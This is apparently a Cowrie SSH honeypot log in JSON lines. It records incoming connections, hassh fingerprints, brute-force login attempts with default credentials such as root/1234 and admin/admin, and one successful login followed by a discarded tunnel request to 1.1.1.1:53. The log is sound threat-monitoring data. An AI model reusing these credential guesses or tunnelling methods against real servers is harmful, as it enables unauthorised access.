four128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:30:12.313404Z","src_ip":"161.132.4.167","session":"f8026505e0e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.120.216.232","src_port":39586,"dst_ip":"159.203.135.109","dst_port":22,"session":"accce1a22bed","protocol":"ssh","message":"New connection: 45.120.216.232:39586 (159.203.135.109:22) [session: accce1a22bed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:30:13.685115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:30:13.699172Z","src_ip":"45.120.216.232","session":"accce1a22bed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:30:13.934316Z","src_ip":"45.120.216.232","session":"accce1a22bed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:30:14.800833Z","src_ip":"161.132.4.167","session":"f8026505e0e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"222","message":"login attempt [ubuntu/222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:30:14.908932Z","src_ip":"45.120.216.232","session":"accce1a22bed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:30:16.102846Z","src_ip":"161.132.4.167","session":"f8026505e0e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:30:16.150661Z","src_ip":"45.120.216.232","session":"accce1a22bed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34544,"dst_ip":"159.203.135.109","dst_port":22,"session":"cffda4685a71","protocol":"ssh","message":"New connection: 159.203.92.129:34544 (159.203.135.109:22) [session: cffda4685a71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:30:42.079820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:30:42.085019Z","src_ip":"159.203.92.129","session":"cffda4685a71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:30:42.090010Z","src_ip":"159.203.92.129","session":"cffda4685a71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1admin1admin1","message":"login attempt [admin1/admin1admin1admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:30:42.102978Z","src_ip":"159.203.92.129","session":"cffda4685a71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:30:43.109445Z","src_ip":"159.203.92.129","session":"cffda4685a71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":44810,"dst_ip":"10.17.0.5","dst_port":22,"session":"33317676b713","protocol":"ssh","message":"New connection: 68.183.236.1:44810 (10.17.0.5:22) [session: 33317676b713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:31:00.721154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:31:00.725894Z","src_ip":"68.183.236.1","session":"33317676b713","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:31:00.964104Z","src_ip":"68.183.236.1","session":"33317676b713","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"123","message":"login attempt [openvpn/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:31:01.946769Z","src_ip":"68.183.236.1","session":"33317676b713","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:31:03.189612Z","src_ip":"68.183.236.1","session":"33317676b713","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46374,"dst_ip":"159.203.135.109","dst_port":22,"session":"0640310ff10d","protocol":"ssh","message":"New connection: 159.203.92.129:46374 (159.203.135.109:22) [session: 0640310ff10d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:31:24.947241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:31:24.952847Z","src_ip":"159.203.92.129","session":"0640310ff10d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:31:24.958674Z","src_ip":"159.203.92.129","session":"0640310ff10d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"password","message":"login attempt [admin1/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:31:24.970214Z","src_ip":"159.203.92.129","session":"0640310ff10d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:31:25.980080Z","src_ip":"159.203.92.129","session":"0640310ff10d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.4.167","src_port":40162,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6b643ac9eac","protocol":"ssh","message":"New connection: 161.132.4.167:40162 (10.17.0.5:22) [session: f6b643ac9eac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:31:27.012330Z"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:31:27.395985Z","src_ip":"161.132.4.167","session":"f6b643ac9eac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.4.167","src_port":40166,"dst_ip":"10.17.0.5","dst_port":22,"session":"121d0696a621","protocol":"ssh","message":"New connection: 161.132.4.167:40166 (10.17.0.5:22) [session: 121d0696a621]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:31:27.481266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:31:27.848386Z","src_ip":"161.132.4.167","session":"121d0696a621","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:31:27.852875Z","src_ip":"161.132.4.167","session":"121d0696a621","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:31:28.879892Z","src_ip":"161.132.4.167","session":"121d0696a621","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:31:30.078328Z","src_ip":"161.132.4.167","session":"121d0696a621","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":26948,"dst_ip":"10.17.0.5","dst_port":22,"session":"38bc977420fe","protocol":"ssh","message":"New connection: 87.251.64.176:26948 (10.17.0.5:22) [session: 38bc977420fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:31:50.030821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:31:50.036426Z","src_ip":"87.251.64.176","session":"38bc977420fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:31:50.133080Z","src_ip":"87.251.64.176","session":"38bc977420fe","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:31:50.424136Z","src_ip":"87.251.64.176","session":"38bc977420fe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:31:50.522661Z","session":"38bc977420fe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:31:50.621287Z","src_ip":"87.251.64.176","session":"38bc977420fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:31:50.724115Z","src_ip":"87.251.64.176","session":"38bc977420fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.4.167","src_port":59116,"dst_ip":"10.17.0.5","dst_port":22,"session":"92eaee66df25","protocol":"ssh","message":"New connection: 161.132.4.167:59116 (10.17.0.5:22) [session: 92eaee66df25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:32:05.537033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:32:06.030123Z","src_ip":"161.132.4.167","session":"92eaee66df25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:32:06.034734Z","src_ip":"161.132.4.167","session":"92eaee66df25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41328,"dst_ip":"159.203.135.109","dst_port":22,"session":"f64ac9c77746","protocol":"ssh","message":"New connection: 159.203.92.129:41328 (159.203.135.109:22) [session: f64ac9c77746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:32:07.416918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:32:07.422333Z","src_ip":"159.203.92.129","session":"f64ac9c77746","protocol":"ssh"}
